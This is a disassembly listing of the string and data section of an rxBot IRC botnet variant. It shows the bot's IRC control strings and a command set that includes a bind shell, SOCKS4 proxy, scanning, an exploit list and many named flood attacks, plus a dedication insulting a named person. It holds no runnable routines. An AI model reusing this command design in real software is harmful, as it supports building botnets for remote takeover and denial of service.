aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401B4F+35o
		align 4
; char aNickSUserS00S[]
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401B4F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
; char SubStr[]
SubStr		db ' :',0               ; DATA XREF: sub_401CC7+86o
		align 4
; char Delim[]
Delim:					; DATA XREF: sub_401CC7+AEo
		unicode	0, < >,0
; char asc_43FB90[]
asc_43FB90:				; DATA XREF: sub_401CC7:loc_401D92o
		unicode	0, < >,0
; char asc_43FB94[]
asc_43FB94:				; DATA XREF: sub_401CC7+191o
		unicode	0, <!>,0
; char aPing[]
aPing		db 'PING',0             ; DATA XREF: sub_401CC7+1A0o
		align 10h
; char aPongS[]
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+1BAo
		align 4
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1DBo
		align 4
; char a001[]
a001		db '001',0              ; DATA XREF: sub_401CC7+1F7o
; char a005[]
a005		db '005',0              ; DATA XREF: sub_401CC7+20Co
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7FDEo
		align 4
; char aModeSS_0[]
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7FF6o
		align 4
; char aJoinSS_4[]
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+800Co
		align 4
; char a302_0[]
a302_0		db '302',0              ; DATA XREF: sub_401CC7+221o
; char a[]
a@:					; DATA XREF: sub_401CC7+231o
		unicode	0, <@>,0
; char a433_0[]
a433_0		db '433',0              ; DATA XREF: sub_401CC7+259o
; char aNickS[]
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+284o
		align 4
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_401CC7+2DBo
		align 4
; char asc_43FC14[]
asc_43FC14	db '-'                  ; DATA XREF: sub_401CC7+34Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
; char aNoticeSS[]
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+368o
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+3AEo
		align 4
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_401CC7+3C7o
		align 4
; char aSS_1[]
aSS_1		db ':%s%s',0            ; DATA XREF: sub_401CC7+4F5o
		align 4
; char aPart[]
aPart		db 'PART',0             ; DATA XREF: sub_401CC7+51Do
		align 4
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_401CC7+52Eo
		align 4
; char asc_43FC74[]
asc_43FC74	db '-'                  ; DATA XREF: sub_401CC7+5C4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 4
; char aPart_0[]
aPart_0		db 'PART',0             ; DATA XREF: sub_401CC7+5E1o
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+605o
; char a353[]
a353		db '353',0              ; DATA XREF: sub_401CC7+56Co
; char asc_43FCB4[]
asc_43FCB4	db '-'                  ; DATA XREF: sub_401CC7+59Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401CC7+610o
; char aNotice[]
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401CC7+621o
		align 4
; char a332[]
a332		db '332',0              ; DATA XREF: sub_401CC7+632o
; char aPrivmsg_0[]
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_401CC7+653o
; char aNotice_0[]
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_401CC7+668o
		align 4
; char aNotice_1[]
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_401CC7+7E3o
		align 10h
; char asc_43FD00[]
asc_43FD00:				; DATA XREF: sub_401CC7+808o
		unicode	0, <#>,0
; char dword_43FD04
dword_43FD04	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401CC7+890o
dword_43FD10	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401CC7+8BBo
		dd 0D017325h, 0Ah
; char dword_43FD2C
dword_43FD2C	dd 4E495001h, 47h	; DATA XREF: sub_401CC7+8C6o
dword_43FD34	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401CC7+8F7o
		dd 0A0Dh
; char dword_43FD4C
dword_43FD4C	dd 43434401h, 0		; DATA XREF: sub_401CC7+6AFo
; char aSend[]
aSend		db 'SEND',0             ; DATA XREF: sub_401CC7+6CDo
		align 4
; char aS[]
aS		db '%s',0               ; DATA XREF: sub_401CC7+6FAo
		align 10h
; char aS_0[]
aS_0		db '%s',0               ; DATA XREF: sub_401CC7+715o
		align 4
; char asc_43FD64[]
asc_43FD64	db '-'                  ; DATA XREF: sub_401CC7+776o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
unk_43FD94	db  2Dh	; -		; DATA XREF: sub_401CC7+908o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
; char asc_43FDD0[]
asc_43FDD0	db '-'                  ; DATA XREF: sub_401CC7+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
; char aChat[]
aChat		db 'CHAT',0             ; DATA XREF: sub_401CC7+940o
		align 4
; char aS_1[]
aS_1		db '%s',0               ; DATA XREF: sub_401CC7+97Do
		align 10h
; char asc_43FE20[]
asc_43FE20	db '-'                  ; DATA XREF: sub_401CC7+9D7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
unk_43FE40	db  2Dh	; -		; DATA XREF: sub_401CC7+A46o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartC	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_43FE78	db  2Dh	; -		; DATA XREF: sub_401CC7+A57o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_43FEA8	db  2Dh	; -		; DATA XREF: sub_401CC7+A68o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
; char aLogin[]
aLogin		db 'login',0            ; DATA XREF: sub_401CC7+A8Bo
		align 4
; char asc_43FEE4[]
asc_43FEE4:				; DATA XREF: sub_401CC7+AA3o
		unicode	0, <l>,0
; char asc_43FEE8[]
asc_43FEE8:				; DATA XREF: sub_401CC7+7E75o
		unicode	0, <!>,0
; char asc_43FEEC[]
asc_43FEEC:				; DATA XREF: sub_401CC7+7E93o
		unicode	0, <~>,0
; char aNoticeSPassAut[]
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7EC3o
		align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7EDAo
		align 4
unk_43FF44	db  2Dh	; -		; DATA XREF: sub_401CC7+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 10h
; char aNoticeSHostAut[]
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7F2Ao
		align 4
; char aNoticeSYourA_0[]
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7F41o
		align 4
unk_43FFC4	db  2Dh	; -		; DATA XREF: sub_401CC7+7F53o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
unk_43FFF0	db  2Dh	; -		; DATA XREF: sub_401CC7+7FB4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 10h
unk_440010	db  2Dh	; -		; DATA XREF: sub_401CC7+7FD1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
; char a332_3[]
a332_3		db '332',0              ; DATA XREF: sub_401CC7+AC5o
; char asc_440034[]
asc_440034	db ' :',0               ; DATA XREF: sub_401CC7:loc_4027E4o
		align 4
; char aD[]
aD		db '$%d-',0             ; DATA XREF: sub_401CC7+B7Bo
		align 10h
; char aD_0[]
aD_0		db '$%d',0              ; DATA XREF: sub_401CC7+C3Fo
; char aMe[]
aMe		db '$me',0              ; DATA XREF: sub_401CC7+CB1o
; char aUser[]
aUser		db '$user',0            ; DATA XREF: sub_401CC7+CC3o
		align 10h
; char aChan[]
aChan		db '$chan',0            ; DATA XREF: sub_401CC7+CD4o
		align 4
; char aRndnick[]
aRndnick	db '$rndnick',0         ; DATA XREF: sub_401CC7+CF0o
		align 4
; char aServer[]
aServer		db '$server',0          ; DATA XREF: sub_401CC7+D01o
; char aChr[]
aChr		db '$chr(',0            ; DATA XREF: sub_401CC7+D0Co
		align 4
; char aChr_0[]
aChr_0		db '$chr(',0            ; DATA XREF: sub_401CC7+D25o
		align 4
; char asc_44007C[]
asc_44007C:				; DATA XREF: sub_401CC7+D4Do
		unicode	0, <)>,0
; char a63[]
a63		db '63',0               ; DATA XREF: sub_401CC7+D75o
		align 4
; char asc_440084[]
asc_440084:				; DATA XREF: sub_401CC7+E4Do
		unicode	0, < >,0
; char asc_440088[]
asc_440088:				; DATA XREF: sub_401CC7:loc_402B35o
		unicode	0, < >,0
; char aRndnick_0[]
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_401CC7+EA8o
; char aRn[]
aRn		db 'rn',0               ; DATA XREF: sub_401CC7+EC0o
		align 4
; char aNickS_8[]
aNickS_8	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7E2Co
		align 4
; char asc_4400A4[]
asc_4400A4	db '-'                  ; DATA XREF: sub_401CC7+7E43o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
; char aDie[]
aDie		db 'die',0              ; DATA XREF: sub_401CC7+ED5o
; char aD_1[]
aD_1		db 'd',0                ; DATA XREF: sub_401CC7+EEAo
		align 10h
; char a332_4[]
a332_4		db '332',0              ; DATA XREF: sub_401CC7+2F26o
; char aLogout[]
aLogout		db 'logout',0           ; DATA XREF: sub_401CC7+EFFo
		align 4
; char aLo[]
aLo		db 'lo',0               ; DATA XREF: sub_401CC7+F14o
		align 10h
; char asc_4400E0[]
asc_4400E0	db '-'                  ; DATA XREF: sub_401CC7+2EADo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_440100	db  2Dh	; -		; DATA XREF: sub_401CC7+2EC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_44012C	db  2Dh	; -		; DATA XREF: sub_401CC7+2ECBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
; char asc_440158[]
asc_440158	db '-'                  ; DATA XREF: sub_401CC7+2F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
; char aVersion[]
aVersion	db 'version',0          ; DATA XREF: sub_401CC7+F29o
; char aVer[]
aVer		db 'ver',0              ; DATA XREF: sub_401CC7+F3Eo
dword_440184	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401CC7+2E6Eo
; char aDedication[]
aDedication	db 'dedication',0       ; DATA XREF: sub_401CC7+F53o
		align 10h
; char aDed[]
aDed		db 'ded',0              ; DATA XREF: sub_401CC7+F68o
unk_4401A4	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_404B26o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
; char aSpeedtest[]
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401CC7+F7Do
		align 10h
; char aSt[]
aSt		db 'st',0               ; DATA XREF: sub_401CC7+F92o
		align 4
; char aSecure[]
aSecure		db 'secure',0           ; DATA XREF: sub_401CC7+FA7o
		align 4
; char aSec[]
aSec		db 'sec',0              ; DATA XREF: sub_401CC7+FBCo
; char aUnsecure[]
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401CC7+FD1o
		align 4
; char aUnsec[]
aUnsec		db 'unsec',0            ; DATA XREF: sub_401CC7+FE6o
		align 4
; char aSecure_1[]
aSecure_1	db 'secure',0           ; DATA XREF: sub_401CC7+2D49o
		align 4
; char aSec_0[]
aSec_0		db 'sec',0              ; DATA XREF: sub_401CC7+2D5Ao
aSecuring	db 'Securing',0         ; DATA XREF: sub_401CC7+2DB5o
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401CC7+2DBCo
		align 4
; char asc_4402A8[]
asc_4402A8	db '-'                  ; DATA XREF: sub_401CC7+2DC2o
		db 3, 34h, 2
		dd 75636573h, 3026572h,	7325202Dh, 73797320h, 2E6D6574h
		dd 0
dword_4402C4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401CC7+2E3Co
aFailedToStar_0	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
; char aBindshell[]
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401CC7+FFBo
		align 4
; char aBd[]
aBd		db 'bd',0               ; DATA XREF: sub_401CC7+1010o
		align 10h
; char asc_440310[]
asc_440310	db '-'                  ; DATA XREF: sub_401CC7+2CBAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
unk_44033C	db  2Dh	; -		; DATA XREF: sub_401CC7+2D3Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_1	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char aBindshellstop[]
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401CC7+1025o
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_401CC7+103Eo
		align 4
dword_440394	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401CC7+1043o
; char aSocks4[]
aSocks4		db 'socks4',0           ; DATA XREF: sub_401CC7+1065o
		align 10h
; char aS4[]
aS4		db 's4',0               ; DATA XREF: sub_401CC7+107Ao
		align 4
; char asc_4403B4[]
asc_4403B4	db '-'                  ; DATA XREF: sub_401CC7+2BC9o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_4403DC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401CC7+2C38o
aFailedToStar_2	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char aSocks4stop[]
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401CC7+108Fo
		align 4
aServer_1	db 'Server',0           ; DATA XREF: sub_401CC7+10A8o
		align 4
dword_44042C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401CC7+10ADo
; char aRloginstop[]
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401CC7+10B5o
		align 4
aServer_2	db 'Server',0           ; DATA XREF: sub_401CC7+10CEo
		align 10h
dword_440450	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401CC7+10D3o
; char aHttpstop[]
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401CC7+10DEo
		align 4
aServer_3	db 'Server',0           ; DATA XREF: sub_401CC7+10F7o
		align 4
dword_440474	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401CC7+10FCo
; char aLogstop[]
aLogstop	db 'logstop',0          ; DATA XREF: sub_401CC7+1107o
aLogList	db 'Log list',0         ; DATA XREF: sub_401CC7+1120o
		align 4
dword_440498	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC7+1125o
; char aRedirectstop[]
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401CC7+1130o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_401CC7+1149o
		align 4
dword_4404C4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401CC7+114Eo
; char aDdos_stop[]
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_401CC7+1159o
		align 10h
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_401CC7+1172o
		align 4
dword_4404EC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401CC7+1177o
; char aSynstop[]
aSynstop	db 'synstop',0          ; DATA XREF: sub_401CC7+1182o
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_401CC7+119Bo
		align 4
dword_44050C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+11A0o
; char aSkysynstop[]
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401CC7+11ABo
		align 4
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_401CC7+11C4o
		align 4
dword_440534	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401CC7+11C9o
; char aTarga3stop[]
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401CC7+11D4o
		align 10h
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_401CC7+11EDo
		align 10h
dword_440560	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401CC7+11F2o
; char aWonkstop[]
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401CC7+11FDo
		align 4
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_401CC7+1216o
		align 4
dword_440588	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401CC7+121Bo
; char aPacketstop[]
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401CC7+1226o
		align 10h
aDdosFlood_0	db 'DDoS flood',0       ; DATA XREF: sub_401CC7+1247o
		align 4
dword_4405AC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401CC7+124Co
aSynFlood_0	db 'Syn flood',0        ; DATA XREF: sub_401CC7+1265o
		align 4
dword_4405C4	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+126Ao
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_401CC7+1286o
		align 4
dword_4405DC	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+128Bo
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_401CC7+12A4o
		align 4
dword_4405F4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401CC7+12A9o
aTarga3Flood_0	db 'Targa3 flood',0     ; DATA XREF: sub_401CC7+12C5o
		align 10h
dword_440610	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401CC7+12CAo
aWonkFlood_0	db 'Wonk flood',0       ; DATA XREF: sub_401CC7+12E3o
		align 4
dword_44062C	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401CC7+12E8o
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_401CC7+1304o
		align 4
dword_440648	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401CC7+1309o
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_401CC7+1322o
		align 4
dword_440668	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401CC7+1327o
aSkysynFlood_0	db 'SkySyn flood',0     ; DATA XREF: sub_401CC7+1343o
		align 4
dword_440688	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401CC7+1348o
unk_440698	db  2Dh	; -		; DATA XREF: sub_401CC7+1362o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
; char aTsunamistop[]
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401CC7+137Co
aTsunamiFlood_0	db 'Tsunami flood',0    ; DATA XREF: sub_401CC7+1395o
		align 4
dword_4406E8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401CC7+139Ao
; char aWisdomstop[]
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401CC7+13A5o
		align 4
aWisdomAttack_0	db 'Wisdom attack',0    ; DATA XREF: sub_401CC7+13BEo
		align 4
dword_440714	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401CC7+13C3o
; char aUdpstop[]
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401CC7+13CEo
aUdpFlood_0	db 'UDP flood',0        ; DATA XREF: sub_401CC7+13E7o
		align 4
dword_440738	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+13ECo
; char aPingstop[]
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401CC7+13F7o
		align 10h
aPingFlood_0	db 'Ping flood',0       ; DATA XREF: sub_401CC7+1410o
		align 4
dword_44075C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401CC7+1415o
; char aTftpstop[]
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401CC7+1420o
		align 4
aServer_4	db 'Server',0           ; DATA XREF: sub_401CC7+1439o
		align 4
dword_44077C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401CC7+143Eo
; char aFindfilestop[]
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401CC7+1449o
		align 4
; char aFfstop[]
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401CC7+145Eo
		align 4
aFindFile	db 'Find file',0        ; DATA XREF: sub_401CC7+2B11o
		align 10h
dword_4407B0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401CC7+2B16o
; char aProcsstop[]
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401CC7+1473o
		align 4
; char aPsstop[]
aPsstop		db 'psstop',0           ; DATA XREF: sub_401CC7+1488o
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_401CC7+2AF9o
		align 4
dword_4407E4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401CC7+2AFEo
; char aClonestop[]
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401CC7+149Do
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_401CC7+14B6o
		align 4
dword_440808	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401CC7+14BBo
; char aSecurestop[]
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401CC7+14C6o
		align 4
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401CC7+14DFo
		align 4
dword_44082C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401CC7+14E4o
; char aScanstop[]
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401CC7+14EFo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_401CC7+1508o
		align 10h
dword_440850	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401CC7+150Do
; char aScanstats[]
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401CC7+1518o
		align 4
; char aStats[]
aStats		db 'stats',0            ; DATA XREF: sub_401CC7+152Do
		align 10h
; char aTransferstats[]
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401CC7+1542o
		align 10h
; char aTrstats[]
aTrstats	db 'trstats',0          ; DATA XREF: sub_401CC7+1557o
; char aConnectbacksta[]
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401CC7+156Co
		align 4
; char aCbstats[]
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401CC7+1581o
; char aExploitlist[]
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401CC7+1596o
; char aExplist[]
aExplist	db 'explist',0          ; DATA XREF: sub_401CC7+15ABo
; char aReconnect[]
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401CC7+15C0o
		align 4
; char aR[]
aR:					; DATA XREF: sub_401CC7+15D5o
		unicode	0, <r>,0
; char aQuitReconnecti[]
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404740o
		align 10h
dword_4408E0	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401CC7+2A86o
		dd 676E6974h, 2Eh
; char aDisconnect[]
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401CC7+15EAo
		align 4
; char aDc[]
aDc		db 'dc',0               ; DATA XREF: sub_401CC7+15FFo
		align 4
; char aQuitDisconnect[]
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_40471Eo
		align 4
dword_440924	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401CC7+2A64o
		dd 6E697463h, 2E67h
; char aQuit_0[]
aQuit_0		db 'quit',0             ; DATA XREF: sub_401CC7+1614o
		align 4
; char aQ[]
aQ:					; DATA XREF: sub_401CC7+1629o
		unicode	0, <q>,0
; char aQuitS[]
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+2A2Fo
		align 4
; char aQuitLater[]
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404708o
		align 4
; char aStatus[]
aStatus		db 'status',0           ; DATA XREF: sub_401CC7+163Eo
		align 10h
; char aS_2[]
aS_2:					; DATA XREF: sub_401CC7+1653o
		unicode	0, <s>,0
unk_440974	db  2Dh	; -		; DATA XREF: sub_401CC7+2A08o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
; char aId[]
aId		db 'id',0               ; DATA XREF: sub_401CC7+1668o
		align 4
; char aI_0[]
aI_0		db 'i',0                ; DATA XREF: sub_401CC7+167Do
		align 4
; char asc_4409A8[]
asc_4409A8	db '-'                  ; DATA XREF: sub_401CC7+29C9o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
; char aReboot[]
aReboot		db 'reboot',0           ; DATA XREF: sub_401CC7+1692o
		align 4
; char asc_4409C8[]
asc_4409C8	db '-'                  ; DATA XREF: sub_401CC7+16A9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
unk_4409E8	db  2Dh	; -		; DATA XREF: sub_401CC7+16B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
; char aThreads[]
aThreads	db 'threads',0          ; DATA XREF: sub_401CC7+16E4o
; char aT[]
aT:					; DATA XREF: sub_401CC7+16F9o
		unicode	0, <t>,0
; char aSub[]
aSub		db 'sub',0              ; DATA XREF: sub_401CC7+2925o
; char asc_440A20[]
asc_440A20	db '-'                  ; DATA XREF: sub_401CC7+294Bo
		db 3, 34h, 2
		dd 65726874h, 2736461h,	4C202D03h, 20747369h, 65726874h
		dd 2E736461h, 0
